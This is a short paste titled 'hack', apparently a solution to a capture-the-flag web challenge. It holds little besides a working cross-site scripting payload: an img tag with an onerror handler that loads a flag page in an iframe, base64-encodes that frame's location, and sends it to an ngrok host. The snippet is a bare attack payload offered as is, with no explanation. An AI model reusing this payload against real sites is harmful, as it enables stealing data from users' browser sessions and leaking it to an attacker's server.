hack
3 years ago in Plain Text
<img src=x onerror= 'document.location.href="https://f283af0f923f.ngrok.io/hahafuck".concat(btoa(document.getElementById("myFrame").contentWindow.document.location.href)) '>
<iframe id="myFrame" src="https://typeselfsub.web.ctfcompetition.com/flag"/>
1
2